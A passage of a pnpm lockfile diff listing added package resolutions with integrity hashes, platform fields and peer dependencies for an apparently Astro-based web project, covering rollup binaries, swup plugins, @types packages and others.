'@rollup/rollup-darwin-x64@4.52.2': + resolution: {integrity: sha512-h11KikYrUCYTrDj6h939hhMNlqU2fo/X4NB0OZcys3fya49o1hmFaczAiJWVAFgrM1NCP6RrO7lQKeVYSKBPSQ==} + cpu: [x64] + os: [darwin] + + '@rollup/rollup-freebsd-arm64@4.52.2': + resolution: {integrity: sha512-/eg4CI61ZUkLXxMHyVlmlGrSQZ34xqWlZNW43IAU4RmdzWEx0mQJ2mN/Cx4IHLVZFL6UBGAh+/GXhgvGb+nVxw==} + cpu: [arm64] + os: [freebsd] + + '@rollup/rollup-freebsd-x64@4.52.2': + resolution: {integrity: sha512-QOWgFH5X9+p+S1NAfOqc0z8qEpJIoUHf7OWjNUGOeW18Mx22lAUOiA9b6r2/vpzLdfxi/f+VWsYjUOMCcYh0Ng==} + cpu: [x64] + os: [freebsd] + + '@rollup/rollup-linux-arm-gnueabihf@4.52.2': + resolution: {integrity: sha512-kDWSPafToDd8LcBYd1t5jw7bD5Ojcu12S3uT372e5HKPzQt532vW+rGFFOaiR0opxePyUkHrwz8iWYEyH1IIQA==} + cpu: [arm] + os: [linux] + + '@rollup/rollup-linux-arm-musleabihf@4.52.2': + resolution: {integrity: sha512-gKm7Mk9wCv6/rkzwCiUC4KnevYhlf8ztBrDRT9g/u//1fZLapSRc+eDZj2Eu2wpJ+0RzUKgtNijnVIB4ZxyL+w==} + cpu: [arm] + os: [linux] + + '@rollup/rollup-linux-arm64-gnu@4.52.2': + resolution: {integrity: sha512-66lA8vnj5mB/rtDNwPgrrKUOtCLVQypkyDa2gMfOefXK6rcZAxKLO9Fy3GkW8VkPnENv9hBkNOFfGLf6rNKGUg==} + cpu: [arm64] + os: [linux] + + '@rollup/rollup-linux-arm64-musl@4.52.2': + resolution: {integrity: sha512-s+OPucLNdJHvuZHuIz2WwncJ+SfWHFEmlC5nKMUgAelUeBUnlB4wt7rXWiyG4Zn07uY2Dd+SGyVa9oyLkVGOjA==} + cpu: [arm64] + os: [linux] + + '@rollup/rollup-linux-loong64-gnu@4.52.2': + resolution: {integrity: sha512-8wTRM3+gVMDLLDdaT6tKmOE3lJyRy9NpJUS/ZRWmLCmOPIJhVyXwjBo+XbrrwtV33Em1/eCTd5TuGJm4+DmYjw==} + cpu: [loong64] + os: [linux] + + '@rollup/rollup-linux-ppc64-gnu@4.52.2': + resolution: {integrity: sha512-6yqEfgJ1anIeuP2P/zhtfBlDpXUb80t8DpbYwXQ3bQd95JMvUaqiX+fKqYqUwZXqdJDd8xdilNtsHM2N0cFm6A==} + cpu: [ppc64] + os: [linux] + + '@rollup/rollup-linux-riscv64-gnu@4.52.2': + resolution: {integrity: sha512-sshYUiYVSEI2B6dp4jMncwxbrUqRdNApF2c3bhtLAU0qA8Lrri0p0NauOsTWh3yCCCDyBOjESHMExonp7Nzc0w==} + cpu: [riscv64] + os: [linux] + + '@rollup/rollup-linux-riscv64-musl@4.52.2': + resolution: {integrity: sha512-duBLgd+3pqC4MMwBrKkFxaZerUxZcYApQVC5SdbF5/e/589GwVvlRUnyqMFbM8iUSb1BaoX/3fRL7hB9m2Pj8Q==} + cpu: [riscv64] + os: [linux] + + '@rollup/rollup-linux-s390x-gnu@4.52.2': + resolution: {integrity: sha512-tzhYJJidDUVGMgVyE+PmxENPHlvvqm1KILjjZhB8/xHYqAGeizh3GBGf9u6WdJpZrz1aCpIIHG0LgJgH9rVjHQ==} + cpu: [s390x] + os: [linux] + + '@rollup/rollup-linux-x64-gnu@4.52.2': + resolution: {integrity: sha512-opH8GSUuVcCSSyHHcl5hELrmnk4waZoVpgn/4FDao9iyE4WpQhyWJ5ryl5M3ocp4qkRuHfyXnGqg8M9oKCEKRA==} + cpu: [x64] + os: [linux] + + '@rollup/rollup-linux-x64-musl@4.52.2': + resolution: {integrity: sha512-LSeBHnGli1pPKVJ79ZVJgeZWWZXkEe/5o8kcn23M8eMKCUANejchJbF/JqzM4RRjOJfNRhKJk8FuqL1GKjF5oQ==} + cpu: [x64] + os: [linux] + + '@rollup/rollup-openharmony-arm64@4.52.2': + resolution: {integrity: sha512-uPj7MQ6/s+/GOpolavm6BPo+6CbhbKYyZHUDvZ/SmJM7pfDBgdGisFX3bY/CBDMg2ZO4utfhlApkSfZ92yXw7Q==} + cpu: [arm64] + os: [openharmony] + + '@rollup/rollup-win32-arm64-msvc@4.52.2': + resolution: {integrity: sha512-Z9MUCrSgIaUeeHAiNkm3cQyst2UhzjPraR3gYYfOjAuZI7tcFRTOD+4cHLPoS/3qinchth+V56vtqz1Tv+6KPA==} + cpu: [arm64] + os: [win32] + + '@rollup/rollup-win32-ia32-msvc@4.52.2': + resolution: {integrity: sha512-+GnYBmpjldD3XQd+HMejo+0gJGwYIOfFeoBQv32xF/RUIvccUz20/V6Otdv+57NE70D5pa8W/jVGDoGq0oON4A==} + cpu: [ia32] + os: [win32] + + '@rollup/rollup-win32-x64-gnu@4.52.2': + resolution: {integrity: sha512-ApXFKluSB6kDQkAqZOKXBjiaqdF1BlKi+/eqnYe9Ee7U2K3pUDKsIyr8EYm/QDHTJIM+4X+lI0gJc3TTRhd+dA==} + cpu: [x64] + os: [win32] + + '@rollup/rollup-win32-x64-msvc@4.52.2': + resolution: {integrity: sha512-ARz+Bs8kY6FtitYM96PqPEVvPXqEZmPZsSkXvyX19YzDqkCaIlhCieLLMI5hxO9SRZ2XtCtm8wxhy0iJ2jxNfw==} + cpu: [x64] + os: [win32] + + '@shikijs/core@3.13.0': + resolution: {integrity: sha512-3P8rGsg2Eh2qIHekwuQjzWhKI4jV97PhvYjYUzGqjvJfqdQPz+nMlfWahU24GZAyW1FxFI1sYjyhfh5CoLmIUA==} + + '@shikijs/engine-javascript@3.13.0': + resolution: {integrity: sha512-Ty7xv32XCp8u0eQt8rItpMs6rU9Ki6LJ1dQOW3V/56PKDcpvfHPnYFbsx5FFUP2Yim34m/UkazidamMNVR4vKg==} + + '@shikijs/engine-oniguruma@3.13.0': + resolution: {integrity: sha512-O42rBGr4UDSlhT2ZFMxqM7QzIU+IcpoTMzb3W7AlziI1ZF7R8eS2M0yt5Ry35nnnTX/LTLXFPUjRFCIW+Operg==} + + '@shikijs/langs@3.13.0': + resolution: {integrity: sha512-672c3WAETDYHwrRP0yLy3W1QYB89Hbpj+pO4KhxK6FzIrDI2FoEXNiNCut6BQmEApYLfuYfpgOZaqbY+E9b8wQ==} + + '@shikijs/themes@3.13.0': + resolution: {integrity: sha512-Vxw1Nm1/Od8jyA7QuAenaV78BG2nSr3/gCGdBkLpfLscddCkzkL36Q5b67SrLLfvAJTOUzW39x4FHVCFriPVgg==} + + '@shikijs/types@3.13.0': + resolution: {integrity: sha512-oM9P+NCFri/mmQ8LoFGVfVyemm5Hi27330zuOBp0annwJdKH1kOLndw3zCtAVDehPLg9fKqoEx3Ht/wNZxolfw==} + + '@shikijs/vscode-textmate@10.0.2': + resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==} + + '@surma/rollup-plugin-off-main-thread@2.2.3': + resolution: {integrity: sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==} + + '@sveltejs/acorn-typescript@1.0.6': + resolution: {integrity: sha512-4awhxtMh4cx9blePWl10HRHj8Iivtqj+2QdDCSMDzxG+XKa9+VCNupQuCuvzEhYPzZSrX+0gC+0lHA/0fFKKQQ==} + peerDependencies: + acorn: ^8.9.0 + + '@sveltejs/vite-plugin-svelte-inspector@4.0.1': + resolution: {integrity: sha512-J/Nmb2Q2y7mck2hyCX4ckVHcR5tu2J+MtBEQqpDrrgELZ2uvraQcK/ioCV61AqkdXFgriksOKIceDcQmqnGhVw==} + engines: {node: ^18.0.0 || ^20.0.0 || >=22} + peerDependencies: + '@sveltejs/vite-plugin-svelte': ^5.0.0 + svelte: ^5.0.0 + vite: ^6.0.0 + + '@sveltejs/vite-plugin-svelte@5.1.1': + resolution: {integrity: sha512-Y1Cs7hhTc+a5E9Va/xwKlAJoariQyHY+5zBgCZg4PFWNYQ1nMN9sjK1zhw1gK69DuqVP++sht/1GZg1aRwmAXQ==} + engines: {node: ^18.0.0 || ^20.0.0 || >=22} + peerDependencies: + svelte: ^5.0.0 + vite: ^6.0.0 + + '@swc/helpers@0.5.17': + resolution: {integrity: sha512-5IKx/Y13RsYd+sauPb2x+U/xZikHjolzfuDgTAl/Tdf3Q8rslRvC19NKDLgAJQ6wsqADk10ntlv08nPFw/gO/A==} + + '@swup/a11y-plugin@5.0.0': + resolution: {integrity: sha512-t0pVWAVea+Imjj05n9QMPfqZhw9i5rx7BV/l3Ejeic+X3Qs0VZwVvEJIcdqireCVJgAJGZAPlmgbiuaj5UHJaQ==} + peerDependencies: + swup: ^4.0.0 + + '@swup/astro@1.7.0': + resolution: {integrity: sha512-OxZskzeYkEZ4+McbwJKyD018sHNlrKQLdtHzlmNjivrzQY/dB7ncnWqDs3d4IkA7Y+ydNjpwBqpR/asjDhTiag==} + + '@swup/body-class-plugin@3.3.0': + resolution: {integrity: sha512-4h/6mAgDd0+ml8Gc2kX8tikIR0HZZLF+WTnfm0JTVrGDw74bgEBenbsaWFfIS+gn4RWKZdWBUOfaZ+Im5J7Gvw==} + peerDependencies: + swup: ^4.6.0 + + '@swup/browserslist-config@1.0.1': + resolution: {integrity: sha512-/3nBqG7LqmK1uqaCSTA6s2NwQBDQXNyLAFBzlX6uaxqjIQcAZyq6K+sgcQ40oj02Vn/2mLSkeL9DOfP7BPOwVA==} + + '@swup/debug-plugin@4.1.0': + resolution: {integrity: sha512-R+RP4hjoeXrO+wowSswaTM4P05lu6iDg6UwdbQn0wfJ082KiUpH+DDwHYNOatxusKVExFuhLec+X9IbyAyiv8w==} + peerDependencies: + swup: ^4.0.0 + + '@swup/fade-theme@2.0.1': + resolution: {integrity: sha512-viQ23vcv47lTz2nYFSDqYR0cbfAEvWOtsNepERGDD221guwSHU7lNz3zDfvWsFGSjP/nCmMUGS5p204rizkdgw==} + peerDependencies: + swup: ^4.0.0 + + '@swup/forms-plugin@3.6.0': + resolution: {integrity: sha512-pRN6OR5wR27LvJqQOlCgu1fP9Z0ZsGauxWOE6nRCtjP1+98wlGTMiMsQ+jGvvs+IOK9IDTJQ7jvprnJAZaw9zw==} + peerDependencies: + swup: ^4.6.0 + + '@swup/fragment-plugin@1.1.2': + resolution: {integrity: sha512-4kW6PaxuF+ydQk023j7t7rhbbWOTzpmWe4wZ4eSKutDSOErpajjkREsml9kOIx9apCzUVfSrwg9U6yjEx77q7A==} + peerDependencies: + swup: ^4.6.0 + + '@swup/head-plugin@2.3.1': + resolution: {integrity: sha512-kdv60fO9c0/3+K40f7Fj/uV34nSuuPeCsld83J5uVVFizOmoovA737C5M1Iqac5Spf2GLU7q+mhN6AbohSIBjA==} + peerDependencies: + swup: ^4.6.0 + + '@swup/overlay-theme@2.0.1': + resolution: {integrity: sha512-8SGIvq8av5cFTxaYy1isZsQXWme2d1onE/cy4QpsyRlxiyhzXbYDAgrBLZzY0Ev8TGf3dYFxXg195eOMW1OP+Q==} + peerDependencies: + swup: ^4.0.0 + + '@swup/parallel-plugin@0.4.0': + resolution: {integrity: sha512-un37RpdFz2vuJV1r9Hr0nCl5qgloN/Z3SczC3wi1XfkiHtzZ8kFTcm5pIW5rUkDVwtCTil44mlAA/STouBEgDw==} + peerDependencies: + swup: ^4.6.0 + + '@swup/plugin@3.0.1': + resolution: {integrity: sha512-A9yiJeKTmQ9kac2Eo3MbMWW+Tiw23W5OSzAHVTCfW6n5zze6dexY3FLEUSDTcvRgciknvXfMZ9JTnebbvCKKWw==} + hasBin: true + + '@swup/plugin@4.0.0': + resolution: {integrity: sha512-3Kq31BJxnzoPg643YxGoWQggoU6VPKZpdE5CqqmP7wwkpCYTzkRmrfcQ29mGhsSS7xfS7D33iZoBiwY+wPoo2A==} + + '@swup/preload-plugin@3.2.11': + resolution: {integrity: sha512-dq50u+d8L+63/pU6dUDnypuBoF49ubjRzRJqitGem2K7wRn7xccxRSvdyeGKdA2vNvzGDAmLfwVTZdSotvvDrw==} + peerDependencies: + swup: ^4.0.0 + + '@swup/prettier-config@1.1.0': + resolution: {integrity: sha512-EF4DMdIGieEsuY2XK0PuLf7Uw7yUQOMbA6IdCMvvRvKXj03WLLpnNIFfFp+6hmMtXRSUE88VBpRyp6Giiu1Pbg==} + + '@swup/progress-plugin@3.2.0': + resolution: {integrity: sha512-Ur+D4+aee9swR6pn7JbEyGMwVP1BTcN5ygjlno7IaSQ/vMZbuJ73po1RkKlIi86p+/PZ+1kynkH4K4eMZuHKKg==} + peerDependencies: + swup: ^4.0.0 + + '@swup/route-name-plugin@4.1.0': + resolution: {integrity: sha512-1tw3WeExEKwI3pVMXTptCGxFUDOSEpc63D741eeUCjjGW/f9q7ekuqEaPQd5YJ6POpzDjdt1jjuC9yv54CbeXA==} + peerDependencies: + swup: ^4.0.0 + + '@swup/scripts-plugin@2.1.0': + resolution: {integrity: sha512-JSMFsFCN9gn4q3m1Ccv0gq3gwRoZl6UGALOQO3OeQ8wOIq9vPC5dcUD3CMBuaPanksjR4GC8ZoukIjHrlT52fg==} + peerDependencies: + swup: ^4.2.0 + + '@swup/scroll-plugin@3.3.2': + resolution: {integrity: sha512-jwngTz8LZza8p7ZWqaqQIzkH8x4hwyPh8RbrJSwTKussx24YUQuV9sgjDCzvJ16k/aYk9NCCvqLbb+4TcT3jqA==} + peerDependencies: + swup: ^4.2.0 + + '@swup/slide-theme@2.0.1': + resolution: {integrity: sha512-tTKYg5qNie2FtLVBj64FqQqDwXO0B3UgNmvO5MU2A8RtPpNFYaWmtbomrVQX862SXOEjWF/arHzrNfxhuRVnAg==} + peerDependencies: + swup: ^4.0.0 + + '@swup/theme@2.1.0': + resolution: {integrity: sha512-nwAzx+GYySIYs6uSCFYGNdpLWv2z/mEryRD1gvmIqsaSP2N7sVd4mKAboraJAzIzbasRhTsTQzyN1LfLeti3AA==} + peerDependencies: + swup: ^4.0.0 + + '@tailwindcss/typography@0.5.19': + resolution: {integrity: sha512-w31dd8HOx3k9vPtcQh5QHP9GwKcgbMp87j58qi6xgiBnFFtKEAgCWnDw4qUT8aHwkCp8bKvb/KGKWWHedP0AAg==} + peerDependencies: + tailwindcss: '>=3.0.0 || insiders || >=4.0.0-alpha.20 || >=4.0.0-beta.1' + + '@trysound/sax@0.2.0': + resolution: {integrity: sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==} + engines: {node: '>=10.13.0'} + + '@types/babel__core@7.20.5': + resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==} + + '@types/babel__generator@7.27.0': + resolution: {integrity: sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==} + + '@types/babel__template@7.4.4': + resolution: {integrity: sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==} + + '@types/babel__traverse@7.28.0': + resolution: {integrity: sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==} + + '@types/debug@4.1.12': + resolution: {integrity: sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==} + + '@types/estree@0.0.39': + resolution: {integrity: sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==} + + '@types/estree@1.0.8': + resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} + + '@types/fontkit@2.0.8': + resolution: {integrity: sha512-wN+8bYxIpJf+5oZdrdtaX04qUuWHcKxcDEgRS9Qm9ZClSHjzEn13SxUC+5eRM+4yXIeTYk8mTzLAWGF64847ew==} + + '@types/hast@2.3.10': + resolution: {integrity: sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==} + + '@types/hast@3.0.4': + resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==} + + '@types/katex@0.16.7': + resolution: {integrity: sha512-HMwFiRujE5PjrgwHQ25+bsLJgowjGjm5Z8FVSf0N6PwgJrwxH0QxzHYDcKsTfV3wva0vzrpqMTJS2jXPr5BMEQ==} + + '@types/linkify-it@5.0.0': + resolution: {integrity: sha512-sVDA58zAw4eWAffKOaQH5/5j3XeayukzDk+ewSsnv3p4yJEZHCCzMDiZM8e0OUrRvmpGZ85jf4yDHkHsgBNr9Q==} + + '@types/markdown-it@14.1.2': + resolution: {integrity: sha512-promo4eFwuiW+TfGxhi+0x3czqTYJkG8qB17ZUJiVF10Xm7NLVRSLUsfRTU/6h1e24VvRnXCx+hG7li58lkzog==} + + '@types/mdast@4.0.4': + resolution: {integrity: sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==} + + '@types/mdurl@2.0.0': + resolution: {integrity: sha512-RGdgjQUZba5p6QEFAVx2OGb8rQDL/cPRG7GiedRzMcJ1tYnUANBncjbSB1NRGwbvjcPeikRABz2nshyPk1bhWg==} + + '@types/ms@2.1.0': + resolution: {integrity: sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==} + + '@types/nlcst@2.0.3': + resolution: {integrity: sha512-vSYNSDe6Ix3q+6Z7ri9lyWqgGhJTmzRjZRqyq15N0Z/1/UnVsno9G/N40NBijoYx2seFDIl0+B2mgAb9mezUCA==} + + '@types/node@17.0.45': + resolution: {integrity: sha512-w+tIMs3rq2afQdsPJlODhoUEKzFP1ayaoyl1CcnwtIlsVe7K7bA1NGm4s3PraqTLlXnbIN84zuBlxBWo1u9BLw==} + + '@types/node@22.7.5': + resolution: {integrity: sha512-jML7s2NAzMWc//QSJ1a3prpk78cOPchGvXJsC3C6R6PSMoooztvRVQEz89gmBTBY1SPMaqo5teB4uNHPdetShQ==} + + '@types/node@24.5.1': + resolution: {integrity: sha512-/SQdmUP2xa+1rdx7VwB9yPq8PaKej8TD5cQ+XfKDPWWC+VDJU4rvVVagXqKUzhKjtFoNA8rXDJAkCxQPAe00+Q==} + + '@types/node@24.5.2': + resolution: {integrity: sha512-FYxk1I7wPv3K2XBaoyH2cTnocQEu8AOZ60hPbsyukMPLv5/5qr7V1i8PLHdl6Zf87I+xZXFvPCXYjiTFq+YSDQ==} + + '@types/parse-json@4.0.2': + resolution: {integrity: sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==} + + '@types/react-dom@19.2.3': + resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==} + peerDependencies: + '@types/react': ^19.2.0 + + '@types/react@19.2.6': + resolution: {integrity: sha512-p/jUvulfgU7oKtj6Xpk8cA2Y1xKTtICGpJYeJXz2YVO2UcvjQgeRMLDGfDeqeRW2Ta+0QNFwcc8X3GH8SxZz6w==} + + '@types/resolve@1.17.1': + resolution: {integrity: sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==} + + '@types/sanitize-html@2.16.0': + resolution: {integrity: sha512-l6rX1MUXje5ztPT0cAFtUayXF06DqPhRyfVXareEN5gGCFaP/iwsxIyKODr9XDhfxPpN6vXUFNfo5kZMXCxBtw==} + + '@types/sax@1.2.7': + resolution: {integrity: sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==} + + '@types/tar@6.1.13': + resolution: {integrity: sha512-IznnlmU5f4WcGTh2ltRu/Ijpmk8wiWXfF0VA4s+HPjHZgvFggk1YaIkbo5krX/zUCzWF8N/l4+W/LNxnvAJ8nw==} + + '@types/unist@2.0.11': + resolution: {integrity: sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==} + + '@types/unist@3.0.3': + resolution: {integrity: sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==} + + '@types/yauzl@2.10.3': + resolution: {integrity: sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==} + + '@ungap/structured-clone@1.3.0': + resolution: {integrity: sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==} + + '@vitejs/plugin-react@4.7.0': + resolution: {integrity: sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==} + engines: {node: ^14.18.0 || >=16.0.0} + peerDependencies: + vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 + + '@volar/kit@2.4.12': + resolution: {integrity: sha512-f9JE8oy9C2rBcCWxUYKUF23hOXz4mwgVXFjk7nHhxzplaoVjEOsKpBm8NI2nBH7Cwu8DRxDwBsbIxMl/8wlLxw==} + peerDependencies: + typescript: '*' + + '@volar/language-core@2.4.12': + resolution: {integrity: sha512-RLrFdXEaQBWfSnYGVxvR2WrO6Bub0unkdHYIdC31HzIEqATIuuhRRzYu76iGPZ6OtA4Au1SnW0ZwIqPP217YhA==} + + '@volar/language-server@2.4.12': + resolution: {integrity: sha512-KC0YqTXCZMaImMWyAKC+dLB2BXjfz80kqesJkV6oXxJsGEQPfmdqug299idwtrT6FVSmZ7q5UrPfvgKwA0S3JA==} + + '@volar/language-service@2.4.12': + resolution: {integrity: sha512-nifOPGYYPnCmxja6/ML/Gl2EgFkUdw4gLbYqbh8FjqX3gSpXSZl/0ebqORjKo1KW56YWHWRZd1jFutEtCiRYhA==} + + '@volar/source-map@2.4.12': + resolution: {integrity: sha512-bUFIKvn2U0AWojOaqf63ER0N/iHIBYZPpNGogfLPQ68F5Eet6FnLlyho7BS0y2HJ1jFhSif7AcuTx1TqsCzRzw==} + + '@volar/typescript@2.4.12': + resolution: {integrity: sha512-HJB73OTJDgPc80K30wxi3if4fSsZZAOScbj2fcicMuOPoOkcf9NNAINb33o+DzhBdF9xTKC1gnPmIRDous5S0g==} + + '@vscode/emmet-helper@2.11.0': + resolution: {integrity: sha512-QLxjQR3imPZPQltfbWRnHU6JecWTF1QSWhx3GAKQpslx7y3Dp6sIIXhKjiUJ/BR9FX8PVthjr9PD6pNwOJfAzw==} + + '@vscode/l10n@0.0.18': + resolution: {integrity: sha512-KYSIHVmslkaCDyw013pphY+d7x1qV8IZupYfeIfzNA+nsaWHbn5uPuQRvdRFsa9zFzGeudPuoGoZ1Op4jrJXIQ==} + + acorn@8.15.0: + resolution: {integrity: sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==} + engines: {node: '>=0.4.0'} + hasBin: true + + aes-js@4.0.0-beta.5: + resolution: {integrity: sha512-G965FqalsNyrPqgEGON7nIx1e/OVENSgiEIzyC63haUMuvNnwIgIjMs52hlTCKhkBny7A2ORNlfY9Zu+jmGk1Q==} + + ajv@8.17.1: + resolution: {integrity: sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==} + + ansi-align@3.0.1: + resolution: {integrity: sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==} + + ansi-regex@2.1.1: + resolution: {integrity: sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==} + engines: {node: '>=0.10.0'} + + ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + + ansi-regex@6.2.2: + resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} + engines: {node: '>=12'} + + ansi-styles@2.2.1: + resolution: {integrity: sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA==} + engines: {node: '>=0.10.0'} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + ansi-styles@6.2.3: + resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==} + engines: {node: '>=12'} + + any-promise@1.3.0: + resolution: {integrity: sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==} + + anymatch@3.1.3: + resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} + engines: {node: '>= 8'} + + arg@5.0.2: + resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} + + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + + aria-query@5.3.2: + resolution: {integrity: sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==} + engines: {node: '>= 0.4'} + + array-buffer-byte-length@1.0.2: + resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==} + engines: {node: '>= 0.4'} + + array-iterate@2.0.1: + resolution: {integrity: sha512-I1jXZMjAgCMmxT4qxXfPXa6SthSoE8h6gkSI9BGGNv8mP8G/v0blc+qFnZu6K42vTOiuME596QaLO0TP3Lk0xg==} + + arraybuffer.prototype.slice@1.0.4: + resolution: {integrity: sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==} + engines: {node: '>= 0.4'} + + astro-expressive-code@0.41.3: + resolution: {integrity: sha512-u+zHMqo/QNLE2eqYRCrK3+XMlKakv33Bzuz+56V1gs8H0y6TZ0hIi3VNbIxeTn51NLn+mJfUV/A0kMNfE4rANw==} + peerDependencies: + astro: ^4.0.0-beta || ^5.0.0-beta || ^3.3.0 + + astro-icon@1.1.5: + resolution: {integrity: sha512-CJYS5nWOw9jz4RpGWmzNQY7D0y2ZZacH7atL2K9DeJXJVaz7/5WrxeyIxO8KASk1jCM96Q4LjRx/F3R+InjJrw==} + + astro@5.13.10: + resolution: {integrity: sha512-PgIrIYvrR7fCoSPPt1sGlpoYK/FNil1BwKazND1DyaZC7SbWLi9hdIHM3ApdrL2SWK7oiADRPw7cTn80UyDWqA==} + engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0, npm: '>=9.6.5', pnpm: '>=7.1.0'} + hasBin: true + + async-function@1.0.0: + resolution: {integrity: 